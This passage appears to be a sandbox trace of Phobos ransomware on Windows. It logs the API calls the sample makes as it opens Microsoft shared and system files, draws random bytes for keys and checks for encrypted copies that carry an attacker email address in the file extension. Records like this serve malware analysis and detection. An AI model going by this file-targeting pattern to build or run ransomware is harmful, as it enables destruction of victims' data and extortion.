Files\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.998] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.998] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pidgenx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.000] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=1475160) returned 1 [0125.000] CloseHandle (hObject=0x594) returned 1 [0125.000] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pidgenx.dll")) returned 0x20 [0125.000] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pidgenx.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.002] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.002] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.002] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.005] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=244296) returned 1 [0125.005] CloseHandle (hObject=0x594) returned 1 [0125.007] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe")) returned 0x20 [0125.007] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.007] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.007] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.007] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.008] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=855376) returned 1 [0125.008] CloseHandle (hObject=0x594) returned 1 [0125.008] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll")) returned 0x20 [0125.008] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.008] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.008] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.008] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.010] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=987136) returned 1 [0125.010] CloseHandle (hObject=0x594) returned 1 [0125.010] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll")) returned 0x20 [0125.010] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.010] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.010] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.010] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.011] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=20608) returned 1 [0125.011] CloseHandle (hObject=0x594) returned 1 [0125.011] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll")) returned 0x20 [0125.011] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.011] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.011] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.011] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.013] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=100488) returned 1 [0125.013] CloseHandle (hObject=0x594) returned 1 [0125.013] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe")) returned 0x20 [0125.013] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.013] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.013] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.013] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.013] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=48872) returned 1 [0125.013] CloseHandle (hObject=0x594) returned 1 [0125.014] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll")) returned 0x20 [0125.014] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.014] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.014] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.014] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.017] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=168064) returned 1 [0125.017] CloseHandle (hObject=0x594) returned 1 [0125.018] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll")) returned 0x20 [0125.019] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.019] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.019] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.019] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590 [0125.027] GetFileSizeEx (in: hFile=0x590, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=53760) returned 1 [0125.027] CloseHandle (hObject=0x590) returned 1 [0125.028] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb")) returned 0x20 [0125.028] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.028] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.029] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.029] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590 [0125.030] GetFileSizeEx (in: hFile=0x590, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=70656) returned 1 [0125.030] CloseHandle (hObject=0x590) returned 1 [0125.030] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb")) returned 0x20 [0125.030] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.030] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.030] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.030] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590 [0125.031] GetFileSizeEx (in: hFile=0x590, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=71168) returned 1 [0125.031] CloseHandle (hObject=0x590) returned 1 [0125.032] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb")) returned 0x20 [0125.032] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.033] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.033] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.033] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590 [0125.034] GetFileSizeEx (in: hFile=0x590, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=364032) returned 1 [0125.034] CloseHandle (hObject=0x590) returned 1 [0125.034] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd.dll")) returned 0x20 [0125.035] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.035] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.035] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.035] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msador15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msador15.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590 [0125.036] GetFileSizeEx (in: hFile=0x590, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=45568) returned 1 [0125.036] CloseHandle (hObject=0x590) returned 1 [0125.036] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msador15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msador15.dll")) returned 0x20 [0125.036] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msador15.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\msador15.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.037] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msador15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msador15.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.038] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.038] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadrh15.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0125.046] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=91136) returned 1 [0125.046] CloseHandle (hObject=0x580) returned 1 [0125.046] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadrh15.dll")) returned 0x20 [0125.046] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\msadrh15.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.046] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadrh15.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.046] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.046] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui" (normalized: "c:\\program files\\common files\\system\\en-us\\wab32res.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0125.047] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=94208) returned 1 [0125.048] CloseHandle (hObject=0x580) returned 1 [0125.048] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui" (normalized: "c:\\program files\\common files\\system\\en-us\\wab32res.dll.mui")) returned 0x20 [0125.048] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\en-us\\wab32res.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.048] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui" (normalized: "c:\\program files\\common files\\system\\en-us\\wab32res.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.048] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.048] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcor.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0125.049] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=6144) returned 1 [0125.049] CloseHandle (hObject=0x580) returned 1 [0125.049] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcor.dll.mui")) returned 0x20 [0125.049] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcor.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.049] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcor.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.049] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.049] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msaddsr.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0125.050] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=14336) returned 1 [0125.050] CloseHandle (hObject=0x580) returned 1 [0125.050] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msaddsr.dll.mui")) returned 0x20 [0125.050] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msaddsr.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.050] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msaddsr.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.050] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.050] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaprsr.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0125.051] GetFileSizeEx (in: hFile=0x580, 